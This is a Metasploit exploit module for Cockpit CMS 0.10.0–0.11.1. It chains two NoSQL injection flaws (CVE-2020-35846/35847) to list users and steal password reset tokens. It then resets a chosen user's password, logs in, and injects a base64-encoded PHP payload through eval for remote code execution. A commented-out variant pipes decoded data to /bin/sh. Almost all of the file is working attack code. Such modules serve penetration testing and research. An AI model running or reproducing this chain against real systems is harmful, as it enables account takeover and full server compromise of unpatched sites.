269 lines
9.0 KiB
Ruby
269 lines
9.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Cockpit CMS NoSQLi to RCE',
|
|
'Description' => %q{
|
|
This module exploits two NoSQLi vulnerabilities to retrieve the user list,
|
|
and password reset tokens from the system. Next, the USER is targetted to
|
|
reset their password.
|
|
Then a command injection vulnerability is used to execute the payload.
|
|
While it is possible to upload a payload and execute it, the command injection
|
|
provides a no disk write method which is more stealthy.
|
|
Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
|
|
for exploitation.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Nikita Petrov' # original PoC, analysis
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
|
|
[ 'CVE', '2020-35847' ], # reset token extraction
|
|
[ 'CVE', '2020-35846' ], # user name extraction
|
|
],
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DefaultOptions' => {
|
|
'PrependFork' => true
|
|
},
|
|
'DisclosureDate' => '2021-04-13',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
# ACCOUNT_LOCKOUTS due to reset of user password
|
|
'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SERVICE_DOWN ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
|
|
OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
|
|
OptString.new('USER', [false, 'User account to take over', ''])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def get_users(check: false)
|
|
print_status('Attempting Username Enumeration (CVE-2020-35846)')
|
|
res = send_request_raw(
|
|
'uri' => '/auth/requestreset',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
|
|
# return bool of if not vulnerable
|
|
# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
|
|
if check
|
|
return (res.body.include?('Function should be callable') ||
|
|
# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
|
|
res.body.include?('Condition not valid') ||
|
|
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
|
|
end
|
|
|
|
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
|
|
end
|
|
|
|
def get_reset_tokens
|
|
print_status('Obtaining reset tokens (CVE-2020-35847)')
|
|
res = send_request_raw(
|
|
'uri' => '/auth/resetpassword',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
|
|
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
|
|
end
|
|
|
|
def get_user_info(token)
|
|
print_status('Obtaining user info')
|
|
res = send_request_raw(
|
|
'uri' => '/auth/newpassword',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ 'token' => token })
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
|
|
/this.user\s+=([^;]+);/ =~ res.body
|
|
userdata = JSON.parse(Regexp.last_match(1))
|
|
userdata.each do |k, v|
|
|
print_status(" #{k}: #{v}")
|
|
end
|
|
report_cred(
|
|
username: userdata['user'],
|
|
password: userdata['password'],
|
|
private_type: :nonreplayable_hash
|
|
)
|
|
userdata
|
|
end
|
|
|
|
def reset_password(token, user)
|
|
password = Rex::Text.rand_password
|
|
print_good("Changing password to #{password}")
|
|
res = send_request_raw(
|
|
'uri' => '/auth/resetpassword',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ 'token' => token, 'password' => password })
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
|
|
# loop through found results
|
|
body = JSON.parse(res.body)
|
|
print_good('Password update successful') if body['success']
|
|
report_cred(
|
|
username: user,
|
|
password: password,
|
|
private_type: :password
|
|
)
|
|
password
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
service_name: 'http',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:username],
|
|
private_data: opts[:password],
|
|
private_type: opts[:private_type],
|
|
jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: ''
|
|
}.merge(service_data)
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def login(un, pass)
|
|
print_status('Attempting login')
|
|
res = send_request_cgi(
|
|
'uri' => '/auth/login',
|
|
'keep_cookies' => true
|
|
)
|
|
login_cookie = res.get_cookies
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/auth/check',
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
|
|
print_good("Valid cookie for #{un}: #{login_cookie}")
|
|
end
|
|
|
|
def gen_token(user)
|
|
print_status('Attempting to generate tokens')
|
|
res = send_request_raw(
|
|
'uri' => '/auth/requestreset',
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate({ user: user })
|
|
)
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
|
|
end
|
|
|
|
def rce
|
|
print_status('Attempting RCE')
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
send_request_cgi(
|
|
'uri' => '/accounts/find',
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'ctype' => 'application/json',
|
|
# this is more similar to how the original POC worked, however even with the & and prepend fork
|
|
# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
|
|
# was killed when using an arch => cmd type payload.
|
|
# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
|
|
# with this method most pages still seem to load, logins work, but the password reset will not respond
|
|
# however, everything else seems to work ok
|
|
'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
return Exploit::CheckCode::Appears unless get_users(check: true)
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
if datastore['ENUM_USERS']
|
|
users = get_users
|
|
print_good(" Found users: #{users}")
|
|
end
|
|
|
|
fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''
|
|
|
|
tokens = get_reset_tokens
|
|
# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
|
|
if tokens == []
|
|
gen_token(datastore['USER'])
|
|
tokens = get_reset_tokens
|
|
end
|
|
print_good(" Found tokens: #{tokens}")
|
|
good_token = ''
|
|
tokens.each do |token|
|
|
print_status("Checking token: #{token}")
|
|
userdata = get_user_info(token)
|
|
if userdata['user'] == datastore['USER']
|
|
good_token = token
|
|
break
|
|
end
|
|
end
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
|
|
password = reset_password(good_token, datastore['USER'])
|
|
login(datastore['USER'], password)
|
|
rce
|
|
end
|
|
end
|